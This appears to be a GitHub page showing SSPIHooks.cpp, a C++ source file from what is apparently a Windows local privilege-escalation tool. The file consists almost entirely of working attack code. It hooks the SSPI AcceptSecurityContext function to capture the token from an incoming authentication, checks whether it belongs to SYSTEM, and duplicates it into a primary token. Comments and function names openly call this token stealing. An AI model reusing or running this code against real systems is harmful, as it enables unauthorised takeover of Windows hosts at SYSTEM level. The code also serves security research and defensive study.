-
Notifications
You must be signed in to change notification settings - Fork 99
/
SSPIHooks.cpp
97 lines (88 loc) · 3.36 KB
/
SSPIHooks.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
#define SECURITY_WIN32
#pragma comment(lib, "Secur32.lib")
#include "Windows.h"
#include "stdio.h"
#include "sspi.h"
#include "SSPIHooks.h"
// global vars used
extern HANDLE g_hEventTokenStolen;
extern HANDLE g_hEventAuthTriggered;
extern HANDLE g_hTokenStolenPrimary;
extern HANDLE g_hTokenStolenSecondary;
extern BOOL g_SystemTokenStolen;
wchar_t* g_Clsid;
int IsTokenSystem(HANDLE tok, wchar_t* clsid);
SECURITY_STATUS AcceptSecurityContextHook(PCredHandle phCredential, PCtxtHandle phContext, PSecBufferDesc pInput, ULONG fContextReq, ULONG TargetDataRep, PCtxtHandle phNewContext, PSecBufferDesc pOutput, PULONG pfContextAttr, PTimeStamp ptsTimeStamp) {
SECURITY_STATUS status;
if(g_hTokenStolenSecondary != NULL)
return SEC_E_INTERNAL_ERROR; // We already have the token, bye bye
status = AcceptSecurityContext(phCredential, phContext, pInput, fContextReq, TargetDataRep, phNewContext, pOutput, pfContextAttr, ptsTimeStamp);
if (phContext != NULL) { // we should land here in the 2nd call to AcceptSecurityContext, so context should be created in our com server <-- this process
SetEvent(g_hEventAuthTriggered);
QuerySecurityContextToken(phContext, &g_hTokenStolenSecondary);
if (IsTokenSystem(g_hTokenStolenSecondary, g_Clsid)) {
DuplicateTokenEx(g_hTokenStolenSecondary, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &g_hTokenStolenPrimary);
g_SystemTokenStolen = TRUE;
}
SetEvent(g_hEventTokenStolen);
}
return status;
}
void HookSSPIForTokenStealing(wchar_t *clsid) {
g_Clsid = clsid;
g_hTokenStolenPrimary = NULL;
g_hTokenStolenSecondary = NULL;
g_SystemTokenStolen = FALSE;
PSecurityFunctionTableW table = InitSecurityInterfaceW();
table->AcceptSecurityContext = AcceptSecurityContextHook;
}
int IsTokenSystem(HANDLE hToken, wchar_t *clsid)
{
DWORD Size, UserSize, DomainSize;
SID* sid;
SID_NAME_USE SidType;
TCHAR UserName[64], DomainName[64];
TOKEN_USER* User;
SECURITY_IMPERSONATION_LEVEL ImpersonationLevel = SecurityAnonymous;
wchar_t* impersonationLevelstr = NULL;
Size = 0;
GetTokenInformation(hToken, TokenUser, NULL, 0, &Size);
if (!Size)
return FALSE;
User = (TOKEN_USER*)malloc(Size);
GetTokenInformation(hToken, TokenUser, User, Size, &Size);
Size = GetLengthSid(User->User.Sid);
sid = (SID*)malloc(Size);
CopySid(Size, sid, User->User.Sid);
UserSize = (sizeof UserName / sizeof * UserName) - 1;
DomainSize = (sizeof DomainName / sizeof * DomainName) - 1;
LookupAccountSid(NULL, sid, UserName, &UserSize, DomainName, &DomainSize, &SidType);
//free(sid);
//free(User);
Size = 0;
GetTokenInformation(hToken, TokenImpersonationLevel, &ImpersonationLevel, sizeof(SECURITY_IMPERSONATION_LEVEL), &Size);
switch (ImpersonationLevel)
{
case SecurityAnonymous:
impersonationLevelstr = (wchar_t*)L"Anonymous";
break;
case SecurityIdentification:
impersonationLevelstr = (wchar_t*)L"Identification";
break;
case SecurityImpersonation:
impersonationLevelstr = (wchar_t*)L"Impersonation";
break;
case SecurityDelegation:
impersonationLevelstr = (wchar_t*)L"Delegation";
break;
}
if (!_wcsicmp(UserName, L"SYSTEM") && ImpersonationLevel >= SecurityImpersonation) {
printf("[+] authresult success %S;%S\\%S;%S\n", clsid, DomainName, UserName, impersonationLevelstr);
return 1;
}
else {
printf("[-] authresult failed %S;%S\\%S;%S\n", clsid, DomainName, UserName, impersonationLevelstr);
}
fflush(stdout);
return 0;
}